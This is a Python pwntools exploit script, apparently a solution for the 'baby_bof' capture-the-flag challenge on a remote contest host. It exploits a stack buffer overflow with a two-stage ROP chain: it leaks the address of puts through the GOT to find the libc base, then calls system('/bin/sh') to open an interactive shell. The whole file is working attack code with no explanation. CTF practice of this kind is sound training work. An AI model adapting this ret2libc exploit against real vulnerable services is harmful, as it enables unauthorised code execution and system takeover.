exploit.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host dctf-chall-baby-bof.westeurope.azurecontainer.io --port 7481 baby_bof
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('baby_bof')
libc = ELF('libc6_2.31-0ubuntu9.1_amd64.so')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'dctf-chall-baby-bof.westeurope.azurecontainer.io'
port = int(args.PORT or 7481)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

io = start()

rop = ROP(exe)

plt = exe.plt["puts"]
got = exe.got["puts"]
poprdi = rop.find_gadget(["pop rdi", "ret"])[0]
ret = rop.find_gadget(["ret"])[0]

vuln = 0x004005b7

payload = flat({
    0xa + 0x8: [
        poprdi,
        got,
        plt,
        vuln,
        ],
    })

io.sendline(payload)
io.recvuntil("work\n")

leak = u64(io.recvuntil("\n", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.sym["puts"]
io.success(hex(libc.address))

payload = flat({
    0xa + 0x8: [
        ret,
        poprdi,
        next(libc.search("/bin/sh\x00")),
        libc.sym["system"],
        ],
    })

io.sendline(payload)
io.recvuntil("work\n")

io.interactive()